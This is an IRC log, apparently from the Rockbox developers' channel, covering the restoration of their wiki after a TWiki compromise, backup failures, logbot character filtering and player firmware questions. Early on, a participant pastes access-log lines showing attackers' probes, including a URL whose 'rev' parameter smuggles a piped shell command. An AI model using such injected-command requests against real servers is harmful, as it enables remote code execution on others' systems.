15:30:06rashershould not be too much work.. just have to edit a csv file and throw the files in the dir
15:30:11Bgeri'm near it, @ LiIon FAQ
15:32:27Bgrhttp:// strange
15:32:56 Join webguest32 [0] (
15:33:03 Quit webguest32 (Client Quit)
15:33:16Bgrthe site says "cache" ...
15:33:25rasheryeah, I got that too at some point
15:33:30rasherI guess yahoo was lying to you
15:33:48Bgrhm, i've got it before, but one refresh solved it
15:38:25rasherZagor: I think we're ready to have the wiki back.. might want to upgrade it.. I think.
15:38:35Zagorreally? ;)
15:39:04Zagori'm working on it
15:40:19B4gderpeople are trying the hole all the time
15:40:44rasherwouldn't want to go live with a vulnerable version
15:42:10preglowno shit
15:42:17B4gder195.200.118.97 - - [18/Sep/2005:13:20:03 +0200] "GET /twiki/bin/view/Main/TWikiU
15:42:17B4gdersers?rev=2%20%7Cecho%20w00t%00 HTTP/1.1" 404 1040 "-" "lwp-request/2.01"
15:43:28B4gderor the more advanced:
15:43:36B4gder200.165.83.148 - - [19/Sep/2005:04:19:29 +0200] "GET /twiki/bin/view/Main/TWikiU
15:43:36B4gderuy HTTP/1.1"
15:47:08tucozHow come a persons name is reported when running whois on the first ip?
15:47:33tucozIs that the registered user for that ip, or the isp?
15:47:55B4gder195.200.118.0 - Digital Rural Informatique
15:48:12B4gderthe names are contact persons
15:48:30tucozOk, I sortof guessed that.
15:51:01*preglow loves applying for jobs
15:51:16 Quit Bger ("BitchX: No windows left!")
15:51:59 Join Bger [0] (n=Bager@
15:52:25Bgerrasher : anything other i can do?
15:54:06rasherBger: well, restore the pages once the wiki goes up.. I think the search-engine digging is done
15:54:39Bgerokay, but i'm here for about a half hour more, so...
15:56:54Bgerwhen the wiki will be up again ?
15:56:55rasherUpdating"> now . might have a few errors
15:56:59Bgerapprox. ?
15:57:04LinusNBger: soon
15:57:54 Quit ashridah ("Leaving")
16:08:40t0mashm... have we tracked down the guy who did it?
16:08:48t0masgot his IP? e-mailed his ISP?
16:09:02t0mastraced his home address and shot him? ;)
16:09:17Bgri vote for the last one :)
16:09:32Zagori'd say it's quite likely the machine was compromised
16:09:49B4gdernot totally unlikely at least
16:11:58***Saving seen data "./dancer.seen"
16:12:56CtcpVersion from freenode-connect!freenode@freenode/bot/connect
16:12:57***Server message 477: 'logbot #RockBox :[freenode-info] help freenode weed out clonebots, please register your IRC nick and auto-identify:'
16:14:22 Join linuxstb [0] (
16:15:14 Nick solex is now known as solexx (
16:21:03 Part tucoz ("Leaving")
16:23:38 Quit Bgr (".")"> should be working now
16:24:33rasherhm, almost
16:28:55Bgerwhere did you get the last page from ?
16:29:01Bgerthe last version i mean
16:29:30rasherFrom caches of WebIndex and MoreRecentChanges
16:29:43Bgeraha :)
16:29:57rasherHrm, some of them aren't showing up
16:30:24rasherlike IriverPlaylistInstructions
16:30:36Bgergotta go, bye
16:32:41Zagortwiki is running again. you can start restoring.
16:33:00rasher10 Jun 2005 - 20:56 GeoffSmith GeoffSmith
16:33:38LinusNhave fun :-)
16:33:55LinusNsomehow i think rasher will top the stats :-)
16:33:56*rasher sighs
16:34:13rasherI wonder how to keep track
16:34:27ZagorI think we owe him a case of beer
16:35:02LinusNgotta run
16:35:05LinusNcu klater
16:35:07 Part LinusN
16:35:24rasherARgh, can't log in
16:35:29rasherwhy the devil not
16:36:00B4gderme neither
16:36:10Zagorhang on
16:36:23Zagorit's looking at the wrong .htpasswd file
16:36:45rasherThat would explain why
16:38:13rasherThat's better
16:39:02rasherFirst page restored
16:40:35linuxstbHow many left? :)
16:43:02Zagorafk for a bit. back later.
16:43:35rasher - Revision r1.4 - 20 Jun 2004 - 11:36 - TorstenT
16:45:10rasherhrm, other pages seem right
16:45:37linuxstbProbably before the iriver WPS screens started
16:45:55linuxstbi.e. nothing for a year and then 100 updates in a few months.
16:46:38B4gderyeah, seems likely
16:47:10Dma-Scwhat is the iriver ihp120 screen size?
16:47:24B4gderif you mean pixels
16:47:30Dma-Scyeah, thanks
16:48:07linuxstbDma-Sc: You can check the Wiki now: :)
16:50:55B4gderI like the new table look
16:51:00rasherZagor, B4gder: problem
16:51:05rasherDuring save of file Main.FeatureComparison an error was found by the version control system. Please notify your Rockbox administrator.
16:52:03Dma-Scoh wiki's back? :)
16:52:24rasherAn old version of it
16:53:42Dma-Scbetter than nothing
16:54:32 Join JoeBorn [0] (
16:54:49solexxrasher: if you ever come down to hamburg, contact me. i owe you a beer
16:54:52solexxor two
16:54:56Dma-Scah yes with your help i suppose, as i was pointed to your website for rockbox wiki yesterday
17:02:35Dma-Scbtw is rockboy aimed to be optimized further? or it's just a nice candy to wow user's friends (as slow lcd won't give it much purpose)...
17:04:03rasherOh of course dies now..
17:04:26Dma-Scerm, it seems wiki's got things about rockboy, sorry ;)
17:05:37B4gdereverything people will work on will get better
17:09:56rasher(yeah, I'm butchering utf8 on the wiki.. sorry)
17:10:45Dma-Scrockboy emulation would be nice to have as a sound codec to play .gbs files btw (, though i don't know how good/faithful its sound emulation is.
17:13:57rasherThere.. all the pages available in raw wiki syntax have been updated
17:14:23rasherThat was of course the easy part.
17:14:27linuxstbCan you tell what attachments are missing?
17:14:34rasherNot at all
17:14:52rasherI guess you can, but I haven't been paying attention to that
17:15:31rasherLooking at it should be possible to guess which pages need attention
17:22:19 Quit einhirn ("Miranda IM! Smaller, Faster, Easier.")
17:27:17preglowB4gder: solved your backup issues, btw? ;)
17:27:25B4gdernot yet, no
17:27:32B4gderbeen busy restoring
17:29:25rasherfirst html restore done
17:29:27rasherthat was tiresome
17:29:55rasherWas an entirely new page though, edits should be less annoying
17:30:48 Quit B4gder ("Lämnar")
17:30:52preglowhtml restore has to be done by hand, i assume?
17:31:13rasherwell, some of the pages have just had a few words changed
17:31:19rasheronly problem is spotting which
17:31:45rasherBut the pages that were added after the backup-point will have to be re-created :-\
17:33:49preglowwe'll manage, after your efforts we're still five miles better off than we would have been
17:40:02amiconnThe backup is from the stone-age! :((
17:41:05amiconnAll my docs-rework from July gone... :(
17:41:33rasheramiconn:"> have anything?
17:42:22 Join paugh [0] (n=kickback@2001:5c0:8fff:ffff:8000:0:3e03:6822)
17:42:39rashersoo much left to go
17:43:07amiconnI have no idea, I made >150 page changes in July
17:43:51rasherwell, unless they were attachments, they're available on that page
17:44:03rasherattachments, unfortunately, are lost
17:44:17amiconnThere were pages with many images attached
17:45:31amiconnReworked and extended archos disassembling howto, the really tedious-to-make uart boot page...
17:45:51rasherThose are saved - except the images
17:46:34rasherso if you still have the images lying around, it shouldn't be too bad
17:47:20amiconnThe images of the disassembling howto were taken from the old /docs folder, so those are no problem
17:47:37amiconnHowever, I'm not sure whether I still have the uart boot pics
17:47:56 Join matsl [0] (
17:48:05amiconnI thought putting them on the server would be quite safe
17:48:51rasherMurphy is a harsh mistress
17:49:16amiconnI'd never have expected such a poor backup, even for a hobby project server. There are so many participants from all over the world investing a lot of time...
17:49:55amiconnIf backup doesn't run for a week, okay, may happen. But 3 months??
17:50:42amiconnPerhaps we should have a full mirror somewhere
17:51:07rasherWhat the... no BootBox page?
17:51:15rasheroh right
17:51:17rasherof course not
17:55:07Dma-Scbtw, have some people compared playtime between iriver fw and rockbox?
17:55:31rasherThere are some threads on Misticriver I think
17:55:49rasherIirc, the consensus seems to be that ogg is slightly better, mp3 is about the same
17:55:53rashernot quite sure
17:56:31linuxstbDon't forget that Rockbox is constantly improving, iRiver is staying still. But it would be nice to know where we stand currently.
17:58:26linuxstbrasher: Have you got a copy of IriverStatus?
17:58:43rasherthat one's outdated unfortunately">
17:59:52linuxstbI may have that on my laptop in my firefox cache - I'll check tonight when I get home.
17:59:57preglowamiconn: they did have daily backups until something went wrong
18:00:05rashersep. 13 version
18:00:56amiconnpreglow: Yes I know. My point is that I can't imagine how a failing backup can go undetected for 3 months
18:01:18rasherIt didn't
18:01:26rasherNot for 3 months at least
18:01:30rasherThere was just not time to fix it
18:01:38rasherIs the impression I got
18:01:57amiconnEven worse...
18:02:00Slasherisimple rsync backup is easily set up in a few minutes..
18:02:32rasherlinuxstb: IriverStatus from yahoo is completely up to date
18:03:09rasherhtml, but what can you do
18:07:25Zagoramiconn: backup has only been down 2 weeks. but that was enough to overwrite the old tapes.
18:07:44amiconnNo daily/weekly/monthly scheme?
18:08:25Zagorit's an elaborate incremental scheme. not sure about the details myself.
18:09:07Zagorneedless to say, we'll get more into it from now on.
18:12:01***Saving seen data "./dancer.seen"
18:20:26 Quit matsl (Read error: 110 (Connection timed out))
18:20:56 Join matsl [0] (
18:23:36HClits international talk like a pirate day
18:24:18Mooshi guys
18:24:24Mooshi HCl :)
18:24:54Mooswhat's about the tests about your new database design?
18:25:18preglowamiconn: didn't go undetected ;)
18:27:38 Quit Bger (Read error: 110 (Connection timed out))
18:27:55 Part linuxstb ("Client Exiting")
18:28:16rasherIf any of you update a wikipage, notify me and I'll mark it on">
18:28:29rasherto avoid duplication of effort
18:28:47 Join webguest17 [0] (
18:29:13webguest17Dissected nano for your viewing pleasure
18:29:58Zagorrasher: FeatureComparison fixed (as in both restored and made writable again)
18:30:28rasherZagor: heh.. b4gder fixed that a while ago :)
18:30:42Zagorreally? it was still read-only...
18:30:51HClMoos: i haven't got a hold of perl.exe yet
18:30:53HClso i can't test.
18:31:07rasherZagor: weird.. I've edited that.
18:31:17rasher 19 Sep 2005 - 14:52 FeatureComparison JonasHaeggqvist
18:31:29MoosHCl: is'nt in the wiki yet?
18:31:32Zagoryeah, just saw that
18:31:36HClis it?
18:31:59rasherI'd think so
18:32:12HClseems like all attachments were lost
18:32:34rasher for example
18:32:43HClthe ones of tagdatabase don't appear on the site
18:32:47HCli edited the url by hand
18:32:50HCland now i got perl.exe
18:33:11HCli'll test it laer
18:33:23Moosok thanks
18:33:30Mooshave a good diner ;)
18:33:45Dma-Scwith hd spin time tweakable, maybe rockbox gains a bit of battery time on the overall, compared to iriver
18:34:38 Part webguest17
18:38:04 Quit Dma-Sc ("I don't like you. But Bersirc 2.2 does. Try it out now. [ - Open Source IRC ]")
18:42:53 Join Sucka` [0] (
18:42:59 Quit Sucka` (Client Quit)
18:43:06 Join Sucka` [0] (
18:48:23t0masI get all list e-mail double
18:49:20t0mascan you unsubscribe (tomas salfischberger)
18:49:35t0mas(maybe we should put an address filter on the logbot?)
18:50:15Zagort0mas: done
18:51:11CoCoLUSHCl: makedbj.bat is still missing, thought i mention that
18:51:28rasherOn the subject of filetering logbot, maybe it should filter control characters out
18:51:29t0masZagor: tnx
18:51:43t0masrasher: like these: bold
18:51:46t0masor other?
18:51:59rasherI'm not sure
18:52:13rasherthe ones that break apache+gecko
18:53:11 Join DangerousDan [0] (
18:53:54t0masrasher: can you define breaking? :)
18:54:36t0masdisplaying it as a block? or something else?
18:54:41rasherCausing it to want to save the file instead of displaying it
18:55:07t0masok, then it's not the bold thing
18:55:21t0masor some color maybe...
18:55:23rasherSome people have them in their quit messages
18:55:35t0maswhat gecko was it?
18:55:46t0masnew firefox versions? or very old mozilla's?
18:55:52DBUGEnqueued KICK t0mas
18:56:05rasherAll geckos, I think.
18:56:22t0mashm... firefox is still working with this chars in the page
18:57:10***Alert Mode level 1
18:57:25t0masrasher: do you know a log that wasn't working correctly?
18:57:34rashernot really, no
18:57:57fuzziedidn't you link to one in your mojira bug
18:58:01t0masplease tell me if you find one...
18:58:01rasherhang on, I filed.. yes
18:58:08t0masah ok
18:59:02t0masjup new firefox has the same problem
18:59:12CtcpIgnored 1 channel CTCP requests in 0 seconds at the last flood
18:59:12*t0mas wgets it :)
18:59:44t0masvi does display weird things too
19:00:16t0mas00.08.28 Quit F1^Aison ("(^O ::^O NoNameScript 3.72 ::^O www.^^O )^O")
19:00:50t0mashm... todays log isn't fucked if I do the same...
19:01:07 Quit Sucka (Read error: 110 (Connection timed out))
19:01:29t0mas( w
19:01:40rasherit's a 0x0F
19:01:41t0masstill works
19:02:05t0masshift in
19:02:11t0masaccording to my asciitable
19:03:10t0maswe can ofcourse just filter all non-ascii chars...
19:03:24t0masbecause a webbrowser can't display the colorcodes etc. anyway...
19:06:21goai have a script floating arround somewhere to convert mIRC colors to css, in case you're interessted..
19:06:48amiconnt0mas: Better not filter all non-ascii, just control chars
19:06:49preglowi get two mails as well
19:07:07rasheramiconn: why not?
19:07:11***Alert Mode OFF
19:07:39t0masamiconn: but the colorcodes are controlchars...
19:07:44t0mas\001 = bold afaik?
19:07:48t0masor action
19:07:51t0masor something like it...
19:07:53amiconnI'd prefer to keep iso8859-1
19:08:17rasherWell, anything <0x20
19:08:26t0masthat would kill colors anyway...
19:08:28amiconnYes, except line feeds
19:08:41t0masmaybe do the color conversion first?
19:08:49t0masand then strip the rest of the < 0x20 chars?
19:08:54t0mas(except lineends)
19:09:07t0maswhere is this logbot running? and in what is it written? :)
19:09:10rasherwell, the line feeds are added by the bot, presumably
19:09:18rasherit's a dancer
19:09:20rasherNo, really.
19:09:27t0masrasher: no, they MUST be \r\n for IRC standards
19:09:33t0masso they are already there
19:10:13rasherthe log is \n only
19:10:27rasherSo I'm guessing the bot treats lines trimmed
19:10:33rasherand add the nl when writing the log
19:10:33t0mascould be...
19:10:57t0maswhere is the bot running? on the freenode servers? or on some rockbox server?
19:11:43rasher[logbot] ( I am the #rockbox log bot
19:19:24 Join Maxime [0] (
19:26:07amiconnHmm, more MAS weirdness. Even w/o any peakmeter activity, today's test recording shifted by 1 bit after ~6 hours :(
19:26:46 Join linuxstb [0] (
19:28:01rasheramiconn: any ideas lined up?
19:29:56 Join hshah [0] (
19:30:00hshahhi all
19:30:20hshahim working on getting the SimplifiedGuideToCompiling back
19:30:29hshahim recreating it from cache as we speak
19:30:50rasherHave you seen"> ?
19:30:51hshahso where was this guy who hacked the site?
19:31:05rasherThe attack came from a Russian IP
19:31:16rasherquite likely a compromised computer
19:31:53hshahrasher - thats the google cache im using to recreate it anyway
19:31:59hshah(for that page anyway)
19:32:21hshahgimme 30 mins and it should be back to normal
19:32:28rasherJust tell me when you're done, and I'll mark it on that page
19:33:26 Join dpassen1 [0] (n=dpassen1@resnet-233-61.resnet.UMBC.EDU)
19:35:37goais the snap font distributed with rbx available for windows?
19:38:58preglownot very likely
19:39:07preglowwindows prefers vector fonts
19:39:34rasherI guess you could convert it to a .fon file with a bit of luck
19:39:36rasherand the right tool
19:43:15goamh, would have been nice to layout wp screens in a grafic app..
19:43:40 Quit matsl (Read error: 104 (Connection reset by peer))
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19:49:40 Quit matsl (Read error: 54 (Connection reset by peer))
19:50:23 Join matsl [0] (
19:54:23 Join Lear [0] (
19:55:42 Quit paugh ("Leaving")
19:59:59preglowLear: were you having a look at the wav patch?
20:00:13LearI was planning to...
20:00:48LearBecause I've hacked metadata.c a lot, and the wav patch is affected by that.
20:02:07 Quit matsl (Read error: 54 (Connection reset by peer))
20:02:33 Join Bagder_ [0] (
20:03:22goagreat, got it converted :)
20:04:28 Join matsl [0] (
20:04:43 Quit matsl (Client Quit)
20:04:59 Join muesli- [0] (
20:05:58goain case someone likes it as well..
20:06:04hshahrasher u still around?
20:06:10rasherhshah: yup
20:06:16hshahwell im done with that page
20:06:59 Join webguest58 [0] (
20:07:45webguest58Anyone here know a link for ogg ripper please
20:07:59rasherhshah: noted
20:08:15webguest58I want to rerip my songs in ogg for my Iriver Rockbox
20:08:29hshahrasher: cool thanks - just thought it would be best that i do that page cos i would know the formatting the best since i wrote it
20:08:44rasherSure, the more people fix their own pages the better
20:09:00 Join davidd [0] (i=davidd@
20:09:19rasherwebguest58: Which ripper have you been using previously?
20:09:22 Join Dma-Sc [0] (
20:09:50goawebguest58: what OS?
20:10:00webguest58just p2p
20:10:12webguest58I use windows
20:10:15rasherSo.. what to you mean re-rip?
20:10:18rasherFrom CD?
20:10:33webguest58yes CD−−>OGG files
20:11:06goawebguest58: start here
20:11:15rasherI'ved used CDex - with decent results
20:11:20goause EAC and vorbis commandline encoder.
20:11:39goajust read the link
20:11:40webguest58newbee here scuse
20:12:02***Saving seen data "./dancer.seen"
20:13:14webguest58apearently EAC is fine
20:13:27goait's the best, yes.
20:13:36hshahrasher: unfortunately quite a few pages were edited by a lot of people - ie the wps design pages - so that will be hard to recreate
20:13:42webguest58thanks for the link
20:14:05webguest58and thanks to rasher too
20:14:25rasherhshah: yeah of course.. not hard, it'll just take longer
20:14:51hshahtrue - we will get there
20:15:55webguest58for the version
20:15:56goawebguest58: alway use the latest
20:16:21webguest58is it beta
20:16:30goayes that version is best
20:16:44webguest58ok thanks I downloading
20:16:44goait's always marked beta for legal reasons..
20:17:10hshahcoz if it blows up a users pc the authors aren't to blame :p
20:17:19webguest58what is CDRDAO?
20:17:34Dma-Scabout wps image handling, is height 0 moved when displaying the statusbar?
20:17:42goawebguest58: you need it for burning CDs..
20:17:51webguest58I choose with or without
20:18:05goaif you plan to burn cds.. :)
20:18:08webguest58I use nero for burning
20:18:17goait's small and dosn't hurt
20:19:17 Quit Bagder (Read error: 110 (Connection timed out))
20:21:31goawebguest58: do you have intel or amd?
20:21:50webguest58Intel, why?
20:22:37goawebguest58: ok, use this version of oggenc, it currently provides the highest quality possible with vorbis
20:26:15goaif you want to learn a bit more,
20:28:37webguest58compressed or uncompresed for ogg?
20:29:02goadid you follow the setup guide?
20:29:13webguest58in the fly :)
20:29:50 Quit hshah ("Leaving")
20:30:30 Join solexx_ [0] (
20:43:34 Join xen` [0] (
20:44:02linuxstbrasher: PortalPlayer is up to date now from my own browser cache of my last edit
20:44:15 Join Bger [0] (n=Bager@
20:44:57webguest58goa: I just ripped one CD in OGG thanks, have on link for Mpeg.exe if I will need?
20:45:29goawhat should mpeg.exe do/be?
20:45:43rasherlinuxstb: okay, updating
20:45:53 Quit solexx (Read error: 110 (Connection timed out))
20:45:55webguest58for ripping like the ogg.exe you gave me
20:46:11goaah, for mp3 encoding?
20:47:13linuxstbrasher: Should I create IriverStatus from yahoo's cache?
20:47:33rasheryeah, go ahead.. I'm not touching more Wikipages tonight I think
20:47:51linuxstbOK. Your WikiRescue page is broken at the moment.
20:48:07rasheruploading the datafile failed
20:48:32*rasher tries to persuade ncftp to not use passive mode
20:48:43Dma-Schow to had requests to the wps request list?
20:50:07Dma-Scah registering to the wiki then editing it it seems
20:50:09Dma-Scsorry ;)
20:50:20rashermuch better
20:51:17goawebguest58: use this one use -V 2 −−vbr-new, more information
20:52:41preglowwhat button combinations should the pitch change menu on irivers use?
20:53:09Dma-Scargh, the wiki doesn't accept my email adress
20:53:18 Join dpassen [0] (n=dpassen1@resnet-233-61.resnet.UMBC.EDU)
20:53:24rasherYeah, there's some problem with registring, I think
20:53:55rasherZagor, Bagder_: Wiki registration not working
20:54:37amiconnpreglow: If you're going to do it similar to archos, this would be a combo
20:55:04webguest58goa: thanks
20:55:05amiconnOn archos, it's holding ON for a short while, then up/down pitches up or down in 0.1% steps
20:55:40amiconnleft/right pitches down/up by 2% *temporarily*, i.e. as long as you hold the button, then snaps back to what it was before
20:55:58amiconnON on archos equals PLAY on iriver
20:56:14amiconn...which is by coincidence the only button allowing for combos
20:56:21preglowamiconn: i tried just enabling the code for irivers as well, but some button defines aren't there
20:56:32*amiconn checks
20:56:40preglowi believe it's the ON define
20:58:02amiconnON should be defined
20:58:14Dma-Scby the way gapless isn't perfect atm on iriver, is it? (just making sure i can trust my ears ;)
20:58:24amiconnHowever, the pitch screen also uses BUTTON_PLAY, and that's undefined on iriver
20:58:32preglowthat's what i was thinking of
20:58:56preglowi take it aliasing BUTTON_PLAY to BUTTON_ON is a big no-no ?
20:58:57amiconnPlay on archos is used to pause the track temporarily
20:59:07amiconnThat wouldn't work at all
20:59:24amiconnYou would get duplicate case: values
20:59:47amiconnI would suggest to use Select instead of Play in the pitch screen for iriver
21:00:21preglowDma-Sc: no it's not
21:00:32Dma-Schave you guys thought about configurable shortcuts already?
21:00:39preglowDma-Sc: yes, and it's a lot of work
21:00:49Dma-Scah ok
21:00:50preglowso probably not going to happen very soon
21:00:51amiconnThat'd mean to put some #defines for pitch buttons
21:01:04amiconn#if CONFIG_KEYPAD == RECORDER_PAD
21:01:14amiconn#define PITCH_PAUSE BUTTON_PLAY
21:01:25Dma-Sci'd love to be able to switch lcd direction with a shortcut myself ;)
21:01:52amiconn#elif CONFIG_KEYPAD == IRIVER_H100_PAD
21:02:05amiconn#define PITCH_PAUSE BUTTON_SELECT
21:02:15amiconnAll others should work as-is
21:02:19preglowyup, thanks
21:02:23preglowi'll try fixing it
21:02:30preglowshould just be a simple matter of enabling the resampler
21:02:58rasherDma-Sc: Make a config file with only "flip display: on" in it
21:03:21rasherLoading a config file can be done pretty quickly
21:03:24amiconnpreglow: Didn't you say once that stereo width would be simple as well?
21:03:58rasheramiconn: Going to try fixing the recording glitches, or release now-ish and fix after?
21:06:03preglowamiconn: why, it would
21:06:09preglowamiconn: it's about time that's fixed
21:07:08preglowi'll see about it tonight, right now i need to be social for an hour
21:07:26preglowamiconn: mas allows you to set left and right gain, and that's how you implement those there, yes?
21:07:40 Quit dpassen1 (Read error: 110 (Connection timed out))
21:07:47Dma-Scrasher : having a fast menu entry for display flipping would be better ;)
21:07:58webguest58goa: thanks for your help all works c you later
21:08:08 Quit webguest58 ("CGI:IRC")
21:08:43 Join LinusN [0] (
21:10:01 Quit Moos (Read error: 104 (Connection reset by peer))
21:12:18amiconnpreglow: The mas has a digital stereo matrix in the dsp part. 4 gain values in the range -1...+1 (LL, RR, LR, RL)
21:12:22linuxstbrasher: IriverStatus is now restored from Yahoo's cached version.
21:13:05linuxstbConverting html back to wikitext isn't fun.
21:13:24rasherIt very much isn't, no
21:13:27goahow do ppl do their wps `screenshots'?
21:13:48 Join Moos [0] (
21:13:58goaoh, thanks!
21:14:20linuxstbHow did we live without the Wiki for three days?
21:14:40linuxstbWe almost needed to answer questions.
21:15:57linuxstbHas the Wiki's CSS file been lost?
21:16:13linuxstbOr is the new installation using the wrong one?
21:16:38Dma-Scis it possible to test wps (with pictures) in the simulator?
21:16:43rasherThe latter I think
21:16:55rasherI don't like the faint colours when showing diffs
21:17:00rasherDma-Sc: I believe so, yes
21:18:03Dma-Scsimulator builds can't be downloaded though it seems
21:19:07rasherThat's correct
21:20:04rasherLinusN: do you know anything about the wiki?
21:21:46amiconnThe wiki tables look totally different now...
21:22:53rasherI'm mostly in agreement with that change
21:23:01amiconnThe VoiceFiles attachments are there, but their versions probably don't match what's stated in the tables
21:23:22rasherThat's quite likely
21:23:49rasher"16 Jul 2005"
21:23:56amiconn(and the language names with non-ascii chars have strange chars...
21:24:08rasherAh yes, I messed up some utf8
21:24:10amiconnWelcome to UTF-8 oddity
21:24:29rasherI think my server was serving txt as iso8859-1
21:24:32rasherdidn't catch it
21:24:43solexx_concerning unicode
21:25:09amiconnThe old table design was way better
21:25:24rashersolexx_: Try these
21:25:25amiconnOne could immediately see which cells are joined
21:25:43rasherIt needs a bit of tweaking, but I like the alternating colours
21:25:51amiconn...which is pretty much a requirement for some of the tables
21:26:16solexx_rasher: saw them too. reading planet debian, aren't you?
21:26:24rasherOh sure
21:26:31amiconnThe cvs voice files are outdated anyway... think I should make new ones
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21:28:24 Nick solexx_ is now known as solexx (
21:34:10goasorry if that's a stupid question, how do i create a new empty playlist and do not have to start with the dynamic one?
21:34:30LinusNplay a file
21:34:55Dma-Scare pictures in wps displayed with "transparency" or is just the text displayed over those?
21:35:13goaLinusN: then i have all files of that directory added automatically?
21:35:28goaor at least it seems so to me :/
21:35:42rashergoa: hold down the joystick, go playlist > insert
21:35:56rasherthat'll give you a playlist of just that file
21:36:26goamh, i must be stupid, moment..
21:38:10 Quit davidd ()
21:38:58goaah sorry, got the difference..
21:41:19goaor not, i'm still not sure how i can start a new one if i'm in an existing one :/
21:41:41rasherstop, then start
21:44:29goaah ok, sorry ;p
21:44:59 Join teh|irc [0] (
21:45:26 Part teh|irc
21:45:37 Join Dan|2 [0] (
21:46:59amiconnLinusN: Did you read about the result of my no-peakmeter test?
21:47:51linuxstbAh, someone has dissected a 4G ipod:
21:52:25LinusNamiconn: no
21:53:31amiconn[19:25:23] <amiconn> Hmm, more MAS weirdness. Even w/o any peakmeter activity, today's test recording shifted by 1 bit after ~6 hours :(
21:55:16amiconnIt's not a voltage dip, it's not i2c activity... what could it be???
21:55:45amiconnThis is getting MASsively annoying
22:02:38 Quit Dma-Sc ("")
22:04:01goado i need something special to play rock box video files?
22:04:57goaor dosen't it work on iriver?
22:05:23rasherIt doesn't work on iriver yet
22:06:25LinusNi changed the looks of the wiki tables, are they ok now?
22:06:41preglowoh yes
22:06:47preglowi thought they were decent as they were as well, but...
22:06:58rasherI liked the alternating colours
22:07:10LinusNyou did?
22:07:25t0masI like the way they are now...
22:07:31t0masis this your change Linus?
22:07:34t0masor the old version?
22:07:45preglowme too
22:07:48preglowmakes the table clearer
22:07:48LinusNthis is how they looked before the attack
22:07:54t0masthis is ok
22:10:41rasherI don't have any strong feelings either way, but the colour of the diffs is/was horrible
22:12:06***Saving seen data "./dancer.seen"
22:13:05 Join hshah [0] (
22:13:34rasherLinusN: registration on the wiki is not possible, it seems
22:13:58hshahwhat do u mean that rasher - sorry ive just come in mid conv
22:14:28rasherRegistring a new user
22:14:41rasherat least, it wasn't a few hours ago
22:14:45hshahwhat u mean? like for editing pages?
22:14:46fuzzieregistering a new user dies out for me with invalid email address errors
22:14:54hshahoh rite
22:14:56fuzziewhichever address i feed it
22:14:59hshahthats what u mean
22:23:33LinusNhmmm, what were the colors of the diffs?
22:24:47 Quit ze (Read error: 110 (Connection timed out))
22:27:02rasherBrighter red/green
22:28:19 Join linuxstb_ [0] (
22:29:03*rasher just brought back a random page
22:29:03LinusNlike that?
22:29:13rasherhm.. let me colourpick
22:29:39LinusNah you have a cached diff?
22:29:58rasherNot that I know of
22:30:11rasherI was just finding a colourchoose dialog to experiment
22:30:27rasher#25E914 perhaps
22:31:38rasher#E81412 for the red
22:32:08*amiconn finally ordered the complementing Natural Voices he wanted to order for long...
22:32:20LinusNlike that?
22:33:33rasherHm.. that was one of the colours... and not really the one I wanted changed
22:33:39rasherthe green one
22:33:42rasherthe red is nice
22:34:09 Join tvelocity [0] (
22:34:28rasheroh yes
22:34:53rasherI don't know about the first green you changed though.. *shrug*
22:35:19rasherbut the red and green are way nicer
22:35:44 Quit linuxstb (Read error: 110 (Connection timed out))
22:38:09Dan|2i got a nasty rash on my ankle
22:38:17Dan|2just though you guys should know
22:38:58*LinusN writes it down
22:40:34ender`does the .rockbox\docs\battery-faq.txt apply to iRivers, or is it just for the Archos players?
22:41:41 Quit Dan|2 ()
22:42:25LinusNonly archos
22:42:59LinusNor rather, mostly archos
22:43:59ender`thanks. what about iRivers - i'm mostly interestedi in parts that deal with charging/discharging the battery - is it OK if i leave it on the charger after the battery is charged?
22:45:26LinusNgotta get some sleep
22:45:29 Quit hshah ("Leaving")
22:45:30LinusNcu tomorrow
22:45:36 Part LinusN
22:45:37 Join ze [0] (
22:45:58ender`what about completely discharging the battery? does it harm the battery if i leave rockbox running until the player powers off (usually, it won't want to power on again until i connect hte charger then)?
22:48:51oddyes, that's bad for li-ion cells
22:49:10oddalthough it is sometimes occasionally necessary to do so in order for the battery level indicator to be accurate
22:50:09ender`it happened about 2 times to me - i fell asleep while listening to music, and when i woke up, the player was off
22:51:06amiconnIt shouldn't hrm the battery as there is a protective circuit that prevents to deep discharge
22:51:23amiconn*harm; *too
22:51:31ender`is that what shuts the player off? or is it rockbox?
22:51:45amiconnRockbox doesn't power off prematurely
22:53:41amiconnrasher: Hmm, something is wrong with the fileattachments, and I don't know how to repair it.
22:54:11amiconnOlder attachments seem to be there, however, they aren't listed when clicking "attach"
22:54:37 Quit Lear ("Chatzilla [Firefox 1.4/undefined]")
22:54:46rasherI guess we have to wait for Zagor/Bagder/LinusN
22:55:17amiconnI want to upload shiny new voice files
22:55:34amiconn...but they'll get revision 1 if I do so now
22:55:34rasherUartBoot "fixed"
22:56:17rasherGuess we should hold off uploading attachments
22:57:35*amiconn hopes that NextUp delivers quickly...
22:57:48 Nick linuxstb_ is now known as linuxstb (
23:00:04 Join einhirn [0] (
23:03:00 Nick Bagder_ is now known as Bagder (
23:06:48rasherBagder: around?
23:06:56Bagderkind of
23:07:20rasherAh.. few wiki problems..
23:07:29BagderI noticed
23:07:32rasher1. Attachments are there.. but not if you click attach
23:07:36rasher2. Can't register a new user
23:08:02Bagderok, I'll need to sort out a few other things first then I'll see
23:08:35rashersure, just wanted to make sure it got to the right ears.. or eyes.
23:09:34Bagderrockbox-sf seems to run too now
23:14:00*amiconn thinks about a rather subtle detail of the MAS bitshifting
23:15:26amiconnA change in the bitshifting always occurs at a frame boundary (derived from the fact that undoing the shift restores the recording completely, and since I have no way to find a change in shift in-frame, I used frame boundaries all the time)
23:16:02amiconnHowever, a frame boundary doesn't necessarily match a DMA buffer boundary
23:17:27Bagder"PayPal Notification: Temporary Hold Pending Investigation"
23:17:48Bagderjust what I needed, getting target in some paypal scam
23:18:07rasherHrm, is this real, or spam?
23:18:11Bagderit is real
23:18:20BagderI've got several USD1 donations lately
23:18:28rasherOh jeez
23:18:29Bagdervery strange ones
23:18:46rasherHow much is in it?
23:18:55 Quit muesli- (Read error: 110 (Connection timed out))
23:18:58rasherCrossCompiler page updated
23:19:05amiconnStill, the transfer routine influences the probability of the bitshift(s)
23:19:16rasherLike, do you empty it regularly, or only when you need some of it?
23:19:21Bagderthey only hold these particular payments, not the entire account
23:19:36BagderI extract money from it on regular basis
23:19:53rashercan't end up too bad then, I guess
23:20:05Bagdernah, just... weird
23:20:17Bagderwhat's the gain for whom?
23:20:25*amiconn really needs to write a *complete* frame analyser, including crc calculation
23:20:37rasher66 pages left to go..
23:20:39*rasher sighs
23:21:23Bagderhehe, the rockbox list admin email address got subscribed
23:21:40Bagderno wonder I got duplicates
